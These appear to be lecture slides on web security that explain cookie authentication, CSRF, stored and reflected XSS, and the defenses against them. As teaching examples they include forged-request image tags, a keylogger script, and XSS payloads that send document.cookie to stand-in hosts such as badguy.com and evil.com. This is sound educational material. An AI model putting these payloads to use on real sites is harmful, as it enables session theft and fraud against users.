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Bug Of The Day...

Get Off On Gab's Stupidity...
• Gab is "Twitter for Nazis"

• Literally, it is Twitter for those who Twitter won't 

put up with


• And it was cheaply made

• They started with an open source ruby package 

that required them to publish their code...


• And their CTO is apparently a 
drooling imbecile...

• Who stripped out the input sanitization filter in 

an SQL statement...

• And never actually used prepared statements!
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Cookies & Web Authentication

• One very widespread use of cookies is for web sites to track users 
who have authenticated


• E.g., once browser fetched  
http://mybank.com/login.html?user=alice&pass=bigsecret 
with a correct password, server associates value of “session” cookie 
with logged-in user’s info

• An “authenticator”


• Now server subsequently can tell: “I’m talking to same browser that 
authenticated as Alice earlier”

• An attacker who can get a copy of Alice’s cookie can access the server impersonating 

Alice!  Cookie thief!
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Cross-Site Request Forgery (CSRF)  
(aka XSRF)
• A way of taking advantage of a web server’s cookie-based 

authentication to do an action as the user

• Remember, an origin is allowed to fetch things from other origins

• Just with very limited information about what is done…

• E.g. have some javascript add an IMG to the DOM that is: 

https://www.exifltratedataplease.com/?{datatoexfiltrate} 
that returns a 1x1 transparent GIF


• Basically a nearly unlimited bandwidth channel for exfiltrating data to something 
outside the current origin


• Google Analytics uses this method to record information about visitors to any site 
using
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Static Web Content

<HTML> 
  <HEAD> 
    <TITLE>Test Page</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1> 
    <P> This is a test!</P> 

  </BODY> 
</HTML>

Visiting this boring web page will just 
display a bit of content.
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Automatic Web Accesses

<HTML> 
  <HEAD> 
    <TITLE>Test Page</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1> 
    <P> This is a test!</P> 
    <IMG SRC="http://anywhere.com/logo.jpg"> 
  </BODY> 
</HTML>

Visiting this page will cause our browser 
to automatically fetch the given URL.



Computer Science 161 Weaver

Automatic Web Accesses

<HTML> 
  <HEAD> 
    <TITLE>Evil!</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1>  <!-- haha! --> 
    <P> This is a test!</P> 
    <IMG SRC="http://xyz.com/do=thing.php..."> 
  </BODY> 
</HTML>

So if we visit a page under an attacker’s 
control, they can have us visit other URLs
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Automatic Web Accesses

<HTML> 
  <HEAD> 
    <TITLE>Test Page</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1>  <!-- haha! --> 
    <P> This is a test!</P> 
    <IMG SRC="http://xyz.com/do=thing.php..."> 
  </BODY> 
</HTML>

When doing so, our browser will happily send 
along cookies associated with the visited URL! 
(any xyz.com cookies in this example)  😟



Computer Science 161 Weaver

Automatic Web Accesses

<HTML> 
  <HEAD> 
    <TITLE>Evil!</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1>  <!-- haha! --> 
    <P> This is a test!</P> 
    <IMG SRC="http://xyz.com/do=thing.php..."> 
  </BODY> 
</HTML> (Note, Javascript provides many other ways 

for a page returned by an attacker to force 
our browser to load a particular URL)
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Web Accesses w/ Side Effects

• Take a banking URL:

• http://mybank.com/moneyxfer.cgi?account=alice&amt=50&to=bob 

• So what happens if we visit evilsite.com, which includes:

• <img width=“1" height="1" src="http://mybank.com/

moneyxfer.cgi?Account=alice&amt=500000&to=DrEvil"> 

• Our browser issues the request …  To get what will render as a 1x1 pixel 
block


• … and dutifully includes authentication cookie! 😟


• Cross-Site Request Forgery (CSRF) attack

• Web server happily accepts the cookie
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CSRF Scenario

Attack Server attacker.com

Server Victim mybank.com 

User Victim

establish session

send forged request

visit server malicious page 
containing URL to 
mybank.com with bad 

actions

1

2

3

4 (w/ cookie)

cookie for 
mybank.com

Bank acts on request, 
since it has valid 
cookie for user

5
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GET /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert 
    &squig=squigs+speak+a+deep+truth 
COOKIE: "session_id=5321506"

Web action with predictable structure

URL fetch for posting a squig

Authenticated with cookie that 
browser automatically sends along
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CSRF and the Internet of Shit...

• Stupid IoT device has a default password

• http://10.0.1.1/login?user=admin&password=admin 

• Sets the session cookie for future requests to authenticate the user


• Stupid IoT device also has remote commands

• http://10.0.1.1/set-dns-server?server=8.8.8.8 

• Changes state in a way beneficial to the attacks


• Stupid IoT device doesn't implement CSRF defenses...

• Attackers can do mass malvertized drive-by attacks: 

Publish a JavaScript advertisement that does these two requests
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CSRF and Malvertizing…

• You have some evil JavaScript:

• http://www.eviljavascript.com/pwnitall.js 

• This JavaScript does the following:

• Opens a 1x1 frame pointing to 

http://www.eviljavascript.com/frame


• The frame then…

• Opens a gazillion different internal frames all to launch candidate xsrf attacks!


• Then get it to run by just paying for it (malvertizing!)!

• Or hacking sites to include <script src="http://...">
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An attacker could  
• add videos to a user’s "Favorites,"  
• add himself to a user’s "Friend" or "Family" list,  
• send arbitrary messages on the user’s behalf,  
• flagged videos as inappropriate,  
• automatically shared a video with a user’s contacts, 

subscribed a user to a "channel" (a set of videos 
published by one person or group), and  

• added videos to a user’s "QuickList" (a list of videos 
a user intends to watch at a later point). 

2008 CSRF attack
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Likewise Facebook
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CSRF Defenses

•  Referer (sic) Validation 
 
 

•  Secret Validation Token 
 
 

•  Note: only server can implement these

<input type=hidden value=23a3af01b>

Referer: http://www.facebook.com/
home.php
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CRSF protection: Referer Validation

• When browser issues HTTP request, it includes a Referer 
[sic] header that indicates which URL initiated the request


• This holds for any request, not just particular transactions

• And yes, it is a 30 year old spelling error we can't get rid of!


• Web server can use information in Referer header to 
distinguish between same-site requests versus cross-site 
requests


• Only allow same-site requests
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GET /moneyxfer.cgi?account=alice&amt=50&to=bob HTTP/1.1 
Accept: image/gif, image/x-bitmap, image/jpeg, */* 
Accept-Language: en 
Connection: Keep-Alive 
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) 
Host: mybank.com 
Cookie: session=44ebc991 
Referer: http://mybank.com/login.html?user=alice&pass...  

HTTP Request

Method Resource HTTP version

Headers

Data  (if POST; none for GET)

Blank line
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Example of Referer Validation
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Referer Validation Defense

• HTTP Referer header

• Referer: https://www.facebook.com/login.php

• Referer: http://www.anywhereelse.com/… 

• Referer: (none)

• Strict policy disallows (secure, less usable)

• “Default deny”


• Lenient policy allows (less secure, more usable)

• “Default allow”

✓
✗

?
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Referer Sensitivity Issues

• Referer may leak privacy-sensitive information

• http://intranet.corp.apple.com/projects/iphone/competitors.html 

• Common sources of blocking:

• Network stripping by the organization

• Network stripping by local machine

• Stripped by browser for HTTPS → HTTP transitions

• User preference in browser

Hence, such blocking might help 
attackers in the lenient policy 

case



Computer Science 161 Weaver

Secret Token Validation

• goodsite.com server includes a secret token into the 
webpage (e.g., in forms as an additional field)


• This needs to be effectively random: The attacker can't know this


• Legit requests to goodsite.com send back the secret

• So the server knows it was from a page on goodsite.com


• goodsite.com server checks that token in request 
matches is the expected one; reject request if not 


• Key property: 
This secret must not be accessible cross-origin
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Storing session tokens:   
Lots of options (but none are perfect)
• Short Lived Browser cookie: 
Set-Cookie: SessionToken=fduhye63sfdb

• But well, CSRF can still work, just only for a limited time


• Embedd in all URL links: 
https://site.com/checkout?SessionToken=kh7y3b

• ICK, ugly…  Oh, and the referer: field leaks this!


• In a hidden form field:  
<input type=“hidden” name=“sessionid” value=“kh7y3b”>

• ICK, ugly… And can only be used to go between pages in short lived sessions


• Fundamental problem: Web security is grafted on
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Latest Defense: 
‘SameSite’ Cookies
• An additional flag on 

cookies

• Tells the browser to not send the 

cookie if the referring page is not 
the cookie origin


• Problem is adoption:   
Not all browsers support 
it!

• But 93% may be "good enuf" 

depending on application

• Could possibly ban non-

implementing browsers
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Aside: 
Partially Deployed Defenses...
• If you need to guarantee CSRF protection...

• Either you can't use "same-site" cookies to stop CSRF

• Booo....


• OR you have to tell the user: 
"you can't use this web browser"


• Booo....

• Big case is "Internet Explorer" not on Windows 10....

• Or someone with an older Android phone
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CSRF: Summary

• Target: user who has some sort of account on a vulnerable server where 
requests from the user’s browser to the server have a predictable structure


• Attacker goal: make requests to the server via the user’s browser that look to 
server like user intended to make them


• Attacker tools: ability to get user to visit a web page under the attacker’s control

• Key tricks: 

• (1) requests to web server have predictable structure; 

• (2) use of <IMG SRC=…> or such to force victim’s browser to issue such a (predictable) request


• Notes: (1) do not confuse with Cross-Site Scripting (XSS); 
(2) attack only requires HTML, no need for Javascript


• Defenses are server side
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Cross-Site Scripting (XSS)

• Hey, lets get that web server to display MY JavaScript…

• And now…. MUAHAHAHAHHAHAHAHHAAHH!
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Reminder: Same-origin policy

• One origin should not be able to access the resources of 
another origin

• http://coolsite.com:81/tools/info.html 

• Based on the tuple of protocol/hostname/port
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XSS: Subverting the 
Same Origin Policy
• It would be Bad if an attacker from evil.com can fool your browser 

into executing their own script …

• … with your browser interpreting the script’s origin to be some other site, like mybank.com


• One nasty/general approach for doing so is trick the server of interest 
(e.g., mybank.com) to actually send the attacker’s script to your 
browser!

• Then no matter how carefully your browser checks, it’ll view script as from the same origin 

(because it is!) …

• … and give it full access to mybank.com interactions


• Such attacks are termed Cross-Site Scripting (XSS) (or sometimes 
CSS)
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Different Types of XSS 
(Cross-Site Scripting)
• There are two main types of XSS attacks

• In a stored (or “persistent”) XSS attack, the attacker leaves their script lying around 

on mybank.com server

• … and the server later unwittingly sends it to your browser

• Your browser is none the wiser, and executes it within the same origin as the mybank.com 

server

• Reflected XSS attacks: the malicious script originates in a request from the victim


• But can have some fun corner cases too…

• DOM-based XSS attacks:  The stored or reflected script is not a script until after 

“benign” JavaScript on the page parses it!

• Injected-cookie XSS: Attacker loads a malicious cookie onto your browser when on 

the shared WiFi, later visit to site renders cookie as a script!
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Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
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Stored XSS

Server Patsy/Victim 

Inject 
malicious 
script

1

bank.com

Attack Browser/Server

evil.com



Computer Science 161 Weaver

Stored XSS

Server Patsy/Victim 

User Victim

Inject 
malicious 
script

1

bank.com

Attack Browser/Server

evil.com



Computer Science 161 Weaver

Stored XSS

Server Patsy/Victim 

User Victim request content

2
Inject 
malicious 
script

1

bank.com

Attack Browser/Server

evil.com
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Stored XSS

Server Patsy/Victim 

User Victim request content
receive malicious script

2
3

Inject 
malicious 
script

1

bank.com

Attack Browser/Server

evil.com
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Stored XSS

Server Patsy/Victim 

User Victim request content
receive malicious script

2
3

Inject 
malicious 
script

1

execute script 
embedded in input 
as though server 
meant us to run it

4

bank.com

Attack Browser/Server

evil.com



Computer Science 161 Weaver

Stored XSS

Server Patsy/Victim 

User Victim request content
receive malicious script

2
3

Inject 
malicious 
script

1

execute script 
embedded in input 
as though server 
meant us to run it

4

bank.com

Attack Browser/Server

evil.com

perform attacker action 

includes authenticator cookie

5
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Stored XSS

Server Patsy/Victim 

User Victim request content
receive malicious script

2
3

Inject 
malicious 
script

1

execute script 
embedded in input 
as though server 
meant us to run it

4

E.g., GET http://mybank.com/sendmoney?to=DrEvil&amt=100000

Attack Browser/Server

evil.com

perform attacker action 

includes authenticator cookie

5
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Stored XSS

User Victim request content
receive malicious script

2
3

Inject 
malicious 
script

execute script 
embedded in input 
as though server 
meant us to run it

4

steal valuable data

6
1

Server Patsy/Victim 

And/Or:

bank.com

Attack Browser/Server

evil.com

perform attacker action 

includes authenticator cookie

5
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Stored XSS

User Victim request content
receive malicious script

2
3

Inject 
malicious 
script

execute script 
embedded in input 
as though server 
meant us to run it

4

steal valuable data

6
1

Server Patsy/Victim 

And/Or:

E.g., GET http://evil.com/steal/foo.gif?document.cookie

bank.com

Attack Browser/Server

evil.com

perform attacker action 

includes authenticator cookie

5
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Stored XSS

Server Patsy/Victim 

User Victim

Inject 
malicious 
scriptrequest content

receive malicious script

1

2
3

(A “stored” 
XSS attack)

steal valuable data

6

execute script 
embedded in input 
as though server 
meant us to run it

4

bank.com

Attack Browser/Server

evil.com

perform attacker action 

includes authenticator cookie

5
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Squiggler Stored XSS

• This Squig is a keylogger!

Keys pressed: <span id="keys"></span> 
<script> 
  document.onkeypress = function(e) { 
    get = window.event?event:e; 
    key = get.keyCode?get.keyCode:get.charCode; 
    key = String.fromCharCode(key); 
    document.getElementById("keys").innerHTML += key + ", " ; 
    } 
</script>
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Stored XSS: Summary

• Target: user with Javascript-enabled browser who visits user-
generated-content page on vulnerable web service


• Attacker goal: run script in user’s browser with same access as 
provided to server’s regular scripts (subvert SOP = Same Origin Policy)


• Attacker tools: ability to leave content on web server page (e.g., via 
an ordinary browser); optionally, a server used to receive stolen 
information such as cookies


• Key trick: server fails to ensure that content uploaded to page does 
not contain embedded scripts

• Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF);  

(2) requires use of Javascript (generally)
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Reflected XSS (Cross-Site Scripting) 

Victim client
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Reflected XSS

Attack Server

Victim client

visit web site
1

evil.com
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Reflected XSS

Attack Server

Victim client

visit web site

receive malicious page1

2 evil.com
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Reflected XSS

Attack Server

Victim client

visit web site

receive malicious page

click on link

1

2

3

Server Patsy/Victim 

Exact URL under 
attacker’s control

mybank.com

evil.com
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Reflected XSS

Victim client click on linkecho user input

3
4

Server Patsy/Victim 

Attack Server
visit web site

receive malicious page1

2 evil.com

mybank.com
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Reflected XSS

Victim client click on linkecho user input

3
4

Server Patsy/Victim 

Attack Server
visit web site

receive malicious page1

2

execute script 
embedded in input 
as though server 
meant us to run it

5

evil.com

mybank.com
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Reflected XSS

Victim client click on linkecho user input

3
4

Server Patsy/Victim 

Attack Server
visit web site

receive malicious page1

2

execute script 
embedded in input 
as though server 
meant us to run it

5 perform attacker action

6

evil.com

mybank.com
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Reflected XSS

Attack Server

Victim client click on linkecho user input

3

send valuable data

7

4

Server Patsy/Victim 

visit web site

receive malicious page1

2

execute script 
embedded in input 
as though server 
meant us to run it

5

And/Or:

evil.com

mybank.com
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Reflected XSS

Attack Server

Victim client

visit web site

receive malicious page

click on linkecho user input

1

2

3
4

(“Reflected” XSS attack)

Server Patsy/Victim 

execute script 
embedded in input 
as though server 
meant us to run it

5

send valuable data

7

perform attacker action

6

evil.com

mybank.co
m
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Example of How 
Reflected XSS Can Come About
• User input is echoed into HTML response.

• Example: search field

• http://victim.com/search.php?term=apple 

• search.php  responds with 
<HTML>  <TITLE> Search Results </TITLE> 
<BODY> 
Results for $term  
. . . 
</BODY> </HTML>


• How does an attacker who gets you to visit evil.com exploit 
this?
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Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)

• http://victim.com/search.php?term=<script> window.open("http://

badguy.com?cookie="+document.cookie) </script> 
• http://victim.com/search.php?

term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.com%3Fcookie%3
D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E 

• What if user clicks on this link?

• Browser goes to victim.com/search.php?...

• victim.com returns 

<HTML> Results for <script> … </script> …

• Browser executes script in same origin as victim.com

• Sends badguy.com cookie  for victim.com
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Reflected XSS: Summary

• Target: user with Javascript-enabled browser who visits a vulnerable web 
service that will include parts of URLs it receives in the web page output it 
generates


• Attacker goal: run script in user’s browser with same access as provided 
to server’s regular scripts (subvert SOP = Same Origin Policy)


• Attacker tools: ability to get user to click on a specially-crafted URL; 
optionally, a server used to receive stolen information such as cookies


• Key trick: server fails to ensure that output it generates does not contain 
embedded scripts other than its own


• Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) 
requires use of Javascript (generally)
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So lets find a reflected XSS in Squigler....


